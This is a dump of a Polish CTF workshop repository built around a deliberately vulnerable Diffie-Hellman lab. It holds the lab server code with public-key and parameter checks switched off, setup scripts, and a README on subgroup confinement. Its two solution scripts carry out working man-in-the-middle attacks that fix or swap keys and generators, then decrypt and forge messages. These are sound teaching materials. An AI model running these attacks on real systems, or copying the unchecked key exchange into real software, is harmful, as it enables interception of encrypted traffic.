p_bob = int(receive_data()) 45 | g_bob = int(receive_data()) 46 | 47 | if check_parameters and (p_bob != p or g_bob != g): 48 | send_data("No ok") 49 | sys.exit(1) 50 | else: 51 | p, g = p_bob, g_bob 52 | 53 | a = random.randint(0,p-1) 54 | A = pow(g, a, p) 55 | send_data(str(A)) 56 | 57 | # get B, compute key 58 | B = int(receive_data()) 59 | if check_keys and (B <= 0 or B >= p): 60 | send_data("No ok") 61 | sys.exit(1) 62 | 63 | key = derive_key(pow(B, a, p)) 64 | 65 | # send msg to bob 66 | iv = random_bytes(16) 67 | cipher = AES.new(key, AES.MODE_CBC, iv) 68 | msg = "Hello Bob, it's good day to die, isn't it?" 69 | msg = add_padding(msg) 70 | msg_enc = cipher.encrypt(msg) 71 | send_data(hexlify(iv+msg_enc)) 72 | 73 | #get and print msg from bob 74 | msg2 = str(receive_data()).strip() 75 | try: 76 | msg2 = unhexlify(msg2) 77 | except TypeError: 78 | msg2 = unhexlify('0'+msg2) 79 | iv = msg2[:16] 80 | msg2 = msg2[16:] 81 | cipher = AES.new(key, AES.MODE_CBC, iv) 82 | # print(cipher.decrypt(msg2)) 83 | 84 | 85 | def bob(send_data, receive_data, check_parameters=False, check_keys=False): 86 | # get parameters 87 | p = int(receive_data()) 88 | g = int(receive_data()) 89 | 90 | # send ACK 91 | send_data('ACK') 92 | send_data(str(p)) 93 | send_data(str(g)) 94 | 95 | # get Alice public key 96 | A = int(receive_data()) 97 | if check_keys and (A <= 0 or A >= p): 98 | send_data("No ok") 99 | sys.exit(1) 100 | 101 | # generate and send bob keys 102 | b = random.randint(0, p-1) 103 | B = pow(g, b, p) 104 | send_data(str(B)) 105 | 106 | # compute shared key 107 | key = derive_key(pow(A, b, p)) 108 | 109 | # get msg from alice 110 | msg2 = str(receive_data()).strip() 111 | try: 112 | msg2 = unhexlify(msg2) 113 | except TypeError: 114 | msg2 = unhexlify('0'+msg2) 115 | iv = msg2[:16] 116 | msg2 = msg2[16:] 117 | cipher = AES.new(key, AES.MODE_CBC, iv) 118 | msg2 = strip_padding(cipher.decrypt(msg2)) 119 | 120 | #send msg to alice 121 | if msg2 == "Hello Bob, it's good day to die, isn't it?": 122 | msg = "Hello Alice. Yes it is. Flag: jhtc{Remember when we had guns and drums?}" 123 | else: 124 | msg = "Meh" 125 | 126 | iv = random_bytes(16) 127 | cipher = AES.new(key, AES.MODE_CBC, iv) 128 | msg = add_padding(msg) 129 | msg_enc = cipher.encrypt(msg) 130 | send_data(hexlify((iv+msg_enc))) 131 | 132 | 133 | def send_data(data): 134 | print(data) 135 | 136 | 137 | def receive_data(): 138 | return raw_input() 139 | 140 | 141 | # Subgroups confinement start 142 | def xor(a, b): 143 | return ''.join(chr(ord(x)^ord(y)) for x,y in zip(a,b)) 144 | 145 | def mac(K, m): 146 | """Compute HMAC 147 | K(string): key 148 | m(string): message 149 | """ 150 | block_size = sha256().block_size 151 | if len(K) > block_size: 152 | K = sha256(K).digest() 153 | if len(K) < block_size: 154 | K += '\x00'*(block_size - len(K)) 155 | 156 | o_key_pad = '\x5c'*block_size 157 | i_key_pad = '\x36'*block_size 158 | o_key_pad = xor(o_key_pad, K) 159 | i_key_pad = xor(i_key_pad, K) 160 | return sha256(o_key_pad + sha256(i_key_pad + m).digest()).digest() 161 | 162 | def verify(K, m, t): 163 | """Verify HMAC 164 | K(string): key 165 | m(string): message 166 | t(string): tag 167 | """ 168 | if t == mac(K, m): 169 | return True 170 | return False 171 | 172 | def i2b(number): 173 | """Integer to bytes""" 174 | number_bytes = '' 175 | while number: 176 | number_bytes += chr(number & 0xff) 177 | number >>= 8 178 | return number_bytes[::-1] 179 | 180 | def bob_non_empheral(send_data, receive_data): 181 | p = 7199773997391911030609999317773941274322764333428698921736339643928346453700085358802973900485592910475480089726140708102474957429903531369589969318716771 182 | g = 4565356397095740655436854503483826832136106141639563487732438195343690437606117828318042418238184896212352329118608100083187535033402010599512641674644143 183 | 184 | with open('subgroups_confinement_config.txt', 'r') as f: 185 | bob_secret_key = int(f.readline().strip()) 186 | 187 | public_key = int(receive_data()) 188 | key = pow(public_key, bob_secret_key, p) 189 | key = derive_key(key) 190 | 191 | m = "Sztuka nie ma żadnego celu" 192 | t = hexlify(mac(key, m)) 193 | send_data(m) 194 | send_data(t) 195 | 196 | def sc_setup(): 197 | p = 7199773997391911030609999317773941274322764333428698921736339643928346453700085358802973900485592910475480089726140708102474957429903531369589969318716771 198 | g = 4565356397095740655436854503483826832136106141639563487732438195343690437606117828318042418238184896212352329118608100083187535033402010599512641674644143 199 | q = 236234353446506858198510045061214171961 # order of g 200 | 201 | flag = 'jhtc{lallala kotki dwa kotki dwa}' 202 | flag = add_padding(flag) 203 | 204 | bob_secret_key = random.randint(2, q-1) 205 | 206 | alice_secret = random.randint(2, q-1) 207 | alice_public = pow(g, alice_secret, p) 208 | 209 | key = pow(alice_public, bob_secret_key, p) 210 | key = derive_key(key) 211 | 212 | iv = random_bytes(16) 213 | cipher = AES.new(key, AES.MODE_CBC, iv) 214 | flag_enc = cipher.encrypt(flag) 215 | 216 | with open('subgroups_confinement_config.txt', 'w') as f: 217 | f.write(str(bob_secret_key)+'\n') 218 | f.write(str(alice_public)+'\n') 219 | f.write(hexlify(flag_enc)+'\n') 220 | # Subgroups confinement end 221 | 222 | 223 | if __name__ == "__main__": 224 | parser = argparse.ArgumentParser(description='Run alice or bob.') 225 | parser.add_argument('what_run', type=str, nargs=1, 226 | help='What to run', choices=['alice', 'bob', 'subgroups_confinement']) 227 | 228 | parser.add_argument('--check_parameters', action='store_const', const=True, 229 | default=False, help='check_parameters') 230 | 231 | parser.add_argument('--check_keys', action='store_const', const=True, 232 | default=False, help='check_keys') 233 | 234 | args = parser.parse_args() 235 | 236 | try: 237 | if args.what_run[0] == 'alice': 238 | alice(send_data, receive_data, args.check_parameters, args.check_keys) 239 | elif args.what_run[0] == 'bob': 240 | bob(send_data, receive_data, args.check_parameters, args.check_keys) 241 | elif args.what_run[0] == 'subgroups_confinement': 242 | if not os.path.isfile('subgroups_confinement_config.txt'): 243 | sc_setup() 244 | bob_non_empheral(send_data, receive_data) 245 | else: 246 | print("Nope") 247 | except Exception as e: 248 | print("Something wrong!", e) -------------------------------------------------------------------------------- /2017/lab_dh/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | config = { 9 | "host": "localhost", 10 | "task1": { 11 | "port_alice": 10001, 12 | "port_bob": 10002 13 | }, 14 | "task2": { 15 | "port_alice": 10001, 16 | "port_bob": 10002 17 | }, 18 | "task3": { 19 | "port_alice": 30001, 20 | "port_bob": 30002 21 | }, 22 | "task4": { 23 | "port_bob": 40001 24 | } 25 | } 26 | 27 | -------------------------------------------------------------------------------- /2017/lab_dh/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Hosting alice from bob_alice.py on port 10001" 4 | socat TCP-LISTEN:10001,reuseaddr,fork EXEC:"python ./bob_alice.py --check_parameters alice" & 5 | echo "Hosting bob from bob_alice.py on port 10002" 6 | socat TCP-LISTEN:10002,reuseaddr,fork EXEC:"python ./bob_alice.py --check_parameters bob" & 7 | 8 | echo "Hosting task1_sniffing on 10003" 9 | socat TCP-LISTEN:10003,reuseaddr,fork EXEC:"python ./task1_sniffing.py" & 10 | 11 | echo "Hosting check_keys alice from bob_alice on 30001" 12 | socat TCP-LISTEN:30001,reuseaddr,fork EXEC:"python ./bob_alice.py --check_keys alice" & 13 | echo "Hosting check_keys bob from bob_alice on 30002" 14 | socat TCP-LISTEN:30002,reuseaddr,fork EXEC:"python ./bob_alice.py --check_keys bob" & 15 | 16 | echo "Hosting subgroups_confinement from bob_alice on 40001" 17 | socat TCP-LISTEN:40001,reuseaddr,fork EXEC:"python ./bob_alice.py subgroups_confinement" & 18 | -------------------------------------------------------------------------------- /2017/lab_dh/subgroups_confinement_config.txt: -------------------------------------------------------------------------------- 1 | 168900877259711421705235948495898306013 2 | 5262622858120442992585586205645834277888419760823961005260655689804519413611632317502200644204872470136686623317852709517834376097277748102035811407266219 3 | f475eb5e83bd23722a32295a468473850d38c7a7274b2b77cbc217a7d8b1be0df709ff4ec646b1e515c6e3d0eb41a703 4 | -------------------------------------------------------------------------------- /2017/lab_dh/task1_sniffing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | from bob_alice import bob, alice 10 | import argparse 11 | import string 12 | from pwn import * 13 | 14 | context.log_level = 'error' 15 | from config import config 16 | config = config["task1"] 17 | 18 | 19 | def sniffing(): 20 | print("Sniffing...") 21 | 22 | alice = remote('localhost', config["port_alice"]) 23 | # bob = remote('localhost', config["port_bob"]) 24 | 25 | def send_data(data): 26 | print("Bob sends: {}".format(data)) 27 | alice.sendline(data) 28 | 29 | def receive_data(): 30 | data = alice.recvline().strip() 31 | print("Bob recvs: {}".format(data)) 32 | return data 33 | 34 | bob(send_data, receive_data) 35 | 36 | 37 | if __name__ == "__main__": 38 | sniffing() -------------------------------------------------------------------------------- /2017/lab_dh/task2_mitm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | from bob_alice import bob, alice 10 | import argparse 11 | import string 12 | from pwn import * 13 | 14 | from config import config 15 | 16 | 17 | def mitm(): 18 | print("MITM (key-fixing attack)...") 19 | 20 | alice = remote(config["host"], config["task2"]["port_alice"]) 21 | bob = remote(config["host"], config["task2"]["port_bob"]) 22 | 23 | # to implement 24 | pass 25 | 26 | 27 | if __name__ == "__main__": 28 | mitm() -------------------------------------------------------------------------------- /2017/lab_dh/task3_negotiated_parameters.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | from bob_alice import bob, alice 10 | import argparse 11 | import string 12 | from pwn import * 13 | 14 | from config import config 15 | 16 | 17 | def np(): 18 | print("MITM (negotiated groups)...") 19 | 20 | alice = remote(config["host"], config["task3"]["port_alice"]) 21 | bob = remote(config["host"], config["task3"]["port_bob"]) 22 | 23 | # to implement 24 | pass 25 | 26 | 27 | if __name__ == "__main__": 28 | np() -------------------------------------------------------------------------------- /2017/lab_dh/task4_subgroup_confinement.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | from bob_alice import bob, alice 10 | import argparse 11 | import string 12 | from pwn import * 13 | from binascii import unhexlify, hexlify 14 | 15 | from config import config 16 | 17 | 18 | def sc(): 19 | print("Subgroup-Confinement...") 20 | 21 | with open('subgroups_confinement_config.txt', 'r') as f: 22 | bob_secret_key = int(f.readline().strip()) 23 | alice_public = int(f.readline().strip()) 24 | flag_enc = unhexlify(f.readline().strip()) 25 | 26 | print("Alice public key: {}".format(alice_public)) 27 | print("Encrypted flag: {}".format(hexlify(flag_enc))) 28 | 29 | bob = remote(config["host"], config["task4"]["port_bob"]) 30 | 31 | # to implement 32 | pass 33 | 34 | 35 | if __name__ == "__main__": 36 | sc() -------------------------------------------------------------------------------- /2017/lab_dh/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | from hashlib import sha256 9 | import random 10 | 11 | 12 | def add_padding(data, block_size=16): 13 | """add PKCS#7 padding""" 14 | size = block_size - (len(data)%block_size) 15 | return data+chr(size)*size 16 | 17 | 18 | def strip_padding(data, block_size=16): 19 | """strip PKCS#7 padding""" 20 | padding = ord(data[-1]) 21 | if padding == 0 or padding > block_size or data[-padding:] != chr(padding)*padding: 22 | raise Exception("Invalid padding") 23 | return data[:-padding] 24 | 25 | 26 | def random_bytes(amount=1): 27 | return ''.join([chr(random.randint(0,255)) for x in range(amount)]) 28 | 29 | 30 | def derive_key(key_int, block_size=16): 31 | return sha256(str(key_int)).digest()[:16] -------------------------------------------------------------------------------- /2017/lab_dh_done_on_labs/README.md: -------------------------------------------------------------------------------- 1 | ## DH 2 | 3 | 4 | #### Schemat Diffie-Helman 5 | 6 | ``` 7 | Alice Bob: 8 | a = rand 2..n b = rand 2..n 9 | A = g^a % p B = g^b % p 10 | ( strony wymieniają klucze publiczne ) 11 | <---------------> 12 | 13 | Wspólny sekret: 14 | B^a % p = g^(ab) % p A^b % p = g^(ab) % p 15 | ``` 16 | 17 | 18 | #### Task2 / Task3 19 | 20 | Man in the middle kontra diffie-hellman 21 | 22 | Opcje ataków: 23 | 1. zmienić klucze publiczne A i B na p lub na 0 24 | 2. zwykły mitm (szyfrować osobno z każdą ze stron) 25 | 3. można zmienić g: 26 | * na 0, klucz wyjdzie 0 27 | * na p, klucz wyjdzie 0 28 | * na p-1, klucz wyjdzie 1 albo p-1 29 | 30 | (zależnie czy potęga jest parzysta czy nieparzysta) 31 | 32 | * Atak 1 działa, jeśli Alice i Bob nie sprawdzają, czy otrzymane klucze publiczne są poprawne 33 | * Atak 3 działa, jeśli Alice i Bob nie sprawdzają, czy g jest poprawne 34 | * Atak 2 działa zawsze :) 35 | 36 | Rozwiązania w task2_mitm_solution.py oraz task3_negotiated_parameters_solution.py 37 | 38 | 39 | #### Liczenie logarytmów dyskretnych 40 | 41 | Problem: mając dane g, p, A = g^a % p, znaleźć a 42 | Pięć głównych metod: 43 | 44 | * Number field sieve ~ O(exp(log(p)^1/3)) 45 | * Pollard's rho ~ O(sqrt(p)), niedeterministyczny, da się zrównoleglać 46 | * Baby step giant step ~ O(sqrt(p)), deterministyczny, time-memory tradeoff 47 | * Pollard's kangaroo ~ O(sqrt(t-s)), jeśli wiemy że a należy do przedziału , niedeterministyczny, da się zrównoleglać 48 | * Pohlig–Hellman ~ O(sum(ei * sqrt(pi))), jeśli p-1 = product(pi^ei) 49 | 50 | Ostatni sposób jest dla nas interesujący. Działa on dobrze, jeśli rząd grupy (czyli p-1) to iloczyn małych liczb pierwszych. 51 | Nasz ostatni atak (subgroup confinement) to, można powiedzieć, wersja "online" algorytmu Pohlig-Hellmana. 52 | 53 | 54 | ### Task4 - Subgroup confinement 55 | 56 | Zanim zaczniemy, będziemy potrzebować następumących algorytmów: 57 | * gcd (największy wspólny dzielnik / algorytm euklidesa) 58 | * egcd (rozszerzony algorytm euklidesa) 59 | * invmod (odwrotności modulo, ponieważ nie możemy dzielić "normalnie". 60 | * Na wzorach to wygląda tak: b = invmod(a, p) <=> b = a^(-1) % p <=> a\*a^(-1) = 1 % p <=> a*b = 1 % p ) 61 | * crt (chińskie twierdzenie o resztach) 62 | 63 | Teraz trochę matematyki: 64 | 65 | * Rząd grupy to ilość elementów w grupie. Jeśli p to liczba pierwsza, to ord(p) = p-1 (pomijamy zero) 66 | * Rząd elementu g (należącego do grupy) to najmniejsza liczba q, taka że g^q = 1 mod p 67 | * Jeśli rząd g = p-1, to g nazywamy generatorem (bo g do kolejnych potęg wygeneruje nam całą grupę) 68 | * Jeśli q dzieli p-1, to istnieje element g rzędu q (dokładniej, istnieje q-1 takich elementów) 69 | * Jeśli g jest rzędu q, to podnosząc g do kolejnych potęg dostaniemy q różnych liczb (potęgowanie od pewnego momentu zacznie dawać nam te same liczby). Czyli g^x mod p = g^(x + k*q) mod p 70 | * Jeśli chcemy znaleźć element rzędu r, to liczmy h = rand(1, p)^((p-1)/r) mod p 71 | * Mniejsze twierdzenie Fermata: jeśli p to liczba pierwsza, to dla dowolnego elementu a mamy a^(p-1) = 1 mod p 72 | 73 | 74 | Dla zobrazowania kod w pythonie: 75 | ```python 76 | from random import randint 77 | from collections import defaultdict 78 | 79 | 80 | def order(g, p): 81 | for i in xrange(1, p): 82 | if pow(g, i, p) == 1: 83 | return i 84 | return float('inf') 85 | 86 | 87 | def find_element_of_order_r(r, p): 88 | h = 1 89 | while h == 1: 90 | h = pow(randint(1, p), (p-1)//r, p) 91 | return h 92 | 93 | 94 | p = (2*13*71) + 1 95 | g = 5 96 | assert order(g, p) == p-1 97 | 98 | r = 13 99 | h = find_element_of_order_r(r, p) 100 | assert pow(h, r, p) == 1 101 | 102 | # może zająć trochę czasu... 103 | elements_with_same_order = defaultdict(int) 104 | elements_with_order_r = set() 105 | generators = set() 106 | for h in xrange(1, p): 107 | o = order(h, p) 108 | elements_with_same_order[o] += 1 109 | if o == r: 110 | elements_with_order_r.add(h) 111 | elif o == p-1: 112 | generators.add(h) 113 | 114 | print "Elements with order {} ({}): {}".format(r, len(elements_with_order_r), elements_with_order_r) 115 | print "(order:number_of_elements_with_that_order): {}".format(dict(elements_with_same_order)) 116 | print "Is our g a generator: {}".format(g in generators) 117 | ``` 118 | 119 | Jak widać mamy 12 elementów rzędu 13, 70 elementów rzędu 71 oraz 840 elementów rzędu 1846 (czyli 1846 generatorów). 120 | To 840 jest związane z funkcją phi eulera (zwana też tocjent), tj. euler_phi(p-1) = 840 121 | 122 | Do ataku "subgroup confinement" wykorzystamy trzy rzeczy: 123 | * prywatny klucz Boba jest stały 124 | * rząd g jest dość niski 125 | * rząd grupy (p-1) składa się z [dużej ilości liczb pierwszych](http://factordb.com/index.php?query=30477252323177606811760882179058908038824640750610513771646768011063128035873508507547741559514324673960576895059570) 126 | 127 | To, że rząd g jest niski daje nam tyle, że b (klucz prywatny Boba) jest mniejsze od tego rzędu. 128 | Większe nie może być, bo g^b mod p = g^(b + k*q) mod p 129 | 130 | 131 | Robimy tak: 132 | * wybieramy małą liczbę dzielącą p-1 (r) 133 | * liczymy element rzędu r (h = rand(1, p)^((p-1)/r) mod p) 134 | * Bob policzy klucz symetryczny (key = h^b mod p). b to klucz sekretny Boba 135 | * Bob wyśle nam parę {"jakaś wiadomość", mac(key, "jakaś wiadomość")}, gdzie mac to message-authentication-code 136 | * My wiemy, że key ma r możliwych wartości. Wiemy to stąd, że Bob podniósł do potęgi nasze h, a h jest rzędu r 137 | * Ponieważ r jest małe, możemy sprawdzać wszystkie wartości od 1 do r, dopóki nie znajdziemy takiego x, że h^x = key mod p 138 | * Teraz wiemy, że x = b mod r 139 | * Zbieramy dużo równań jak powyżej (tj. xi = b mod ri), zbieramy dopóki iloczyn ri <= q 140 | * Używamy chińskiego twierdzenia o resztach do obliczenia b 141 | * BOM. Mamy klucz prywatny Boba -------------------------------------------------------------------------------- /2017/lab_dh_done_on_labs/task2_mitm_solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | import sys 10 | from hashlib import sha256 11 | from binascii import hexlify, unhexlify 12 | import random 13 | import argparse 14 | from Crypto.Cipher import AES 15 | from pwn import * 16 | 17 | from utils import * 18 | from config import config 19 | 20 | 21 | def mitm(): 22 | print("MITM (key-fixing attack)...") 23 | 24 | alice = remote(config["host"], config["task2"]["port_alice"]) 25 | bob = remote(config["host"], config["task2"]["port_bob"]) 26 | 27 | # alice p,g--> bob 28 | p = int(alice.recvline().strip()) 29 | g = int(alice.recvline().strip()) 30 | print "p = {}".format(p) 31 | print "g = {}".format(g) 32 | 33 | key = derive_key("0") 34 | evil_AB = p 35 | 36 | bob.sendline(str(p)) 37 | bob.sendline(str(g)) 38 | 39 | # alice <--ACK,p,g bob 40 | bob.recvline().strip() 41 | bob.recvline().strip() 42 | bob.recvline().strip() 43 | 44 | alice.sendline('ACK') 45 | alice.sendline(str(p)) 46 | alice.sendline(str(g)) 47 | 48 | # alice A--> bob 49 | A = int(alice.recvline().strip()) 50 | print "A = {}".format(A) 51 | print "set A = evil_AB" 52 | bob.sendline(str(evil_AB)) 53 | 54 | # alice <--B bob 55 | B = int(bob.recvline().strip()) 56 | print "B = {}".format(B) 57 | 58 | print "set B = evil_AB" 59 | alice.sendline(str(evil_AB)) 60 | 61 | # get msg from alice 62 | msg_from_alice = unhexlify(alice.recvline().strip()) 63 | iv = msg_from_alice[:16] 64 | msg_from_alice = msg_from_alice[16:] 65 | cipher = AES.new(key, AES.MODE_CBC, iv) 66 | msg = strip_padding(cipher.decrypt(msg_from_alice)) 67 | print "Msg from alice: {}".format(msg) 68 | 69 | # send bob evil msg 70 | fake_msg_from_alice = msg 71 | fake_msg_from_alice = add_padding(fake_msg_from_alice) 72 | iv = random_bytes(16) 73 | cipher = AES.new(key, AES.MODE_CBC, iv) 74 | msg_enc = cipher.encrypt(fake_msg_from_alice) 75 | bob.sendline(hexlify(iv+msg_enc)) 76 | 77 | # get msg from bob 78 | msg_from_bob = unhexlify(bob.recvline().strip()) 79 | iv = msg_from_bob[:16] 80 | msg_from_bob = msg_from_bob[16:] 81 | cipher = AES.new(key, AES.MODE_CBC, iv) 82 | msg = strip_padding(cipher.decrypt(msg_from_bob)) 83 | print "Msg from bob: {}".format(msg) 84 | 85 | # send alice evil msg 86 | fake_msg_from_bob = 'I am so evil!' 87 | fake_msg_from_bob = add_padding(fake_msg_from_bob) 88 | iv = random_bytes(16) 89 | cipher = AES.new(key, AES.MODE_CBC, iv) 90 | msg_enc = cipher.encrypt(fake_msg_from_bob) 91 | alice.sendline(hexlify(iv+msg_enc)) 92 | 93 | 94 | if __name__ == "__main__": 95 | mitm() -------------------------------------------------------------------------------- /2017/lab_dh_done_on_labs/task3_negotiated_parameters_solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | ~Gros 6 | ''' 7 | 8 | 9 | import sys 10 | from hashlib import sha256 11 | from binascii import hexlify, unhexlify 12 | import random 13 | import argparse 14 | from Crypto.Cipher import AES 15 | from pwn import * 16 | 17 | from utils import * 18 | from config import config 19 | 20 | 21 | def mitm(): 22 | print("MITM (negotiated groups)...") 23 | 24 | alice = remote(config["host"], config["task3"]["port_alice"]) 25 | bob = remote(config["host"], config["task3"]["port_bob"]) 26 | 27 | # alice p,g--> bob 28 | p = int(alice.recvline().strip()) 29 | g = int(alice.recvline().strip()) 30 | print "p = {}".format(p) 31 | print "g = {}".format(g) 32 | 33 | key = derive_key("1") 34 | evil_g = p-1 # or p, or 1 35 | 36 | print "set g =", evil_g 37 | g = evil_g 38 | 39 | bob.sendline(str(p)) 40 | bob.sendline(str(g)) 41 | 42 | # alice <--ACK,p,g bob 43 | bob.recvline().strip() 44 | bob.recvline().strip() 45 | bob.recvline().strip() 46 | 47 | alice.sendline('ACK') 48 | alice.sendline(str(p)) 49 | alice.sendline(str(g)) 50 | 51 | # alice A--> bob 52 | A = int(alice.recvline().strip()) 53 | print "A = {}".format(A) 54 | bob.sendline(str(A)) 55 | 56 | # alice <--B bob 57 | B = int(bob.recvline().strip()) 58 | print "B = {}".format(B) 59 | alice.sendline(str(B)) 60 | 61 | # get msg from alice 62 | msg_from_alice = unhexlify(alice.recvline().strip()) 63 | iv = msg_from_alice[:16] 64 | msg_from_alice = msg_from_alice[16:] 65 | cipher = AES.new(key, AES.MODE_CBC, iv) 66 | msg = strip_padding(cipher.decrypt(msg_from_alice)) 67 | print "Msg from alice: {}".format(msg) 68 | 69 | # send bob evil msg 70 | fake_msg_from_alice = msg 71 | fake_msg_from_alice = add_padding(fake_msg_from_alice) 72 | iv = random_bytes(16) 73 | cipher = AES.new(key, AES.MODE_CBC, iv) 74 | msg_enc = cipher.encrypt(fake_msg_from_alice) 75 | bob.sendline(hexlify(iv+msg_enc)) 76 | 77 | # get msg from bob 78 | msg_from_bob = unhexlify(bob.recvline().strip()) 79 | iv = msg_from_bob[:16] 80 | msg_from_bob = msg_from_bob[16:] 81 | cipher = AES.new(key, AES.MODE_CBC, iv) 82 | msg = strip_padding(cipher.decrypt(msg_from_bob)) 83 | print "Msg from bob: {}".format(msg) 84 | 85 | # send alice evil msg 86 | fake_msg_from_bob = 'I am so evil!' 87 | fake_msg_from_bob = add_padding(fake_msg_from_bob) 88 | iv = random_bytes(16) 89 | cipher = AES.new(key, AES.MODE_CBC, iv) 90 | msg_enc = cipher.encrypt(fake_msg_from_bob) 91 | alice.sendline(hexlify(iv+msg_enc)) 92 | 93 | 94 | if __name__ == "__main__": 95 | mitm() -------------------------------------------------------------------------------- /2017/warsztaty_ctf_mictocorruption.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JustHitTheCore/ctf_workshops/d50e8a5c90e80cdae3e17a92bce83955f0618570/2017/warsztaty_ctf_mictocorruption.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JHTC CTF Workshops / KNI Kernel AGH 2 | This repo contains materials from [Just Hit the Core CTF team](https://ctftime.org/team/13830/) workshops organized thanks to [KNI Kernel](https://www.facebook.com/KNIKernel/) at [AGH University of Science and Technology](http://www.agh.edu.pl/en/). 3 | 4 | The person responsible for the workshops is [disconnect3d](https://disconnect3d.pl/). 5 | 6 | As the workshops are in Polish, so are the materials here. 7 | 8 | 9 | --- 10 | 11 | ### Warsztaty w roku akademickim 2017/2018 12 | 13 | #### 8.11.2017 14 | 15 | Przerobiliśmy zadania z [mini CTFa od P4 z konferencji Security PWNing Conference 2017](https://pwning2017.p4.team/tasks): 16 | * web100 captcha, 17 | * web150 sprzedam flagę, 18 | * crypto25 xor, 19 | * re100 nieznany format 20 | 21 | Omówiliśmy między innymi: 22 | * działanie protokółu HTTP, 23 | * jak skonfigurować proxy w przeglądarce (wykorzystaliśmy Burp Suite jako proxy), 24 | * działanie nagłówka HSTS 25 | 26 | Powiedzieliśmy również co nieco o LLVM, jego pośredniej reprezentacji kodu oraz podstawach asemblera (rejestry procesora, kilka instrukcji, na tyle, aby zrobić zadanie re100). 27 | 28 | #### 15.11.2017 - warsztaty z eksploitowania lokalnych programów/binarek prowadzone przez Mateusza 'mawekl' Pstrusia. 29 | 30 | * [Prezentacja: Eskalacja uprawnień](/2017/Eskalacja-uprawnień.pdf) 31 | * [Przerobione zadania](https://securitytraps.pl/KNI/) 32 | 33 | #### 30.11.2017 - warsztaty z niskopoziomowej inżynierii wstecznej 34 | 35 | - krótka prelekcja o podstawach asemblera x86/x64 - https://docs.google.com/presentation/d/1HKuW69NFD2IFSdkdD7ul3aWriHXHDLfPOvJV0wsiwH0 (pierwsze 17 slajdów) 36 | - zreversowaliśmy zadanie https://challenges.re/1/ 37 | - zrobiliśmy trzy zadania z microcorruption.com/login 38 | 39 | #### 7.12.2017 - warsztaty z kryptografii prowadzone przez Grosa z JHtC - protokół Diffiego-Hellmana 40 | 41 | Materiały/README i przygotowanie zadania są w [2017/lab\_dh](/2017/lab_dh). 42 | 43 | Serwer hostujący zadania znajduje się pod adresem `80.211.144.146` (powinien być online conajmniej do czasu kolejnych warsztatów). 44 | 45 | Zadania można również hostować lokalnie następującymi poleceniami: 46 | ```bash 47 | git clone git@github.com:JustHitTheCore/ctf_workshops.git 48 | python2 -m pip install pwntools pycrypto # albo pip install ... 49 | apt-get install socat # musimy zainstalować program socat 50 | cd ctf_workshops/2017/lab_dh/ 51 | source ./setup.sh 52 | ``` 53 | 54 | W razie nie posiadania pipa (menedżera paczek pythona) można go zainstalować poleceniem `apt-get install python-pip` lub `wget https://bootstrap.pypa.io/get-pip.py && sudo python2 get-pip.py`. 55 | 56 | Zadania (pliki `task*.py`) wykorzystują bibliotekę pwntools (stąd wczesniej ją instalujemy) - ma ona między innymi bardzo wygodny interfejs do socketów, stąd wykorzystujemy ją też do rozwiązań. 57 | 58 | Rozwiązania do zadań z man-in-the-middle oraz matematyka z drugiej części zajęć [TUTAJ](/2017/lab_dh_done_on_labs) 59 | 60 | #### 14.12.2017 - warsztaty z inżynierii wstecznej 61 | 62 | Rozwiązaliśmy kilka zadań z MicroCorruption. [Tutaj](/2017/warsztaty_ctf_mictocorruption.jpg) zdjęcie tablicy podczas analizy jednego z zadań. 63 | 64 | 65 | #### 4.01.2018 - nauka asemblera ARMowego poprzez rozwiązywanie zadań z 34C3 Junior CTF 66 | 67 | #### 11.01.2018 - to be defined na spotkaniu, może web może coś innego 68 | 69 | ### Warsztaty w roku akademickim 2016/2017 70 | 71 | Można je znaleźć w katalogu 2016 ;). 72 | 73 | 74 | ### Wanna join? 75 | 76 | Just come to the workshops. 77 | 78 | 79 | --------------------------------------------------------------------------------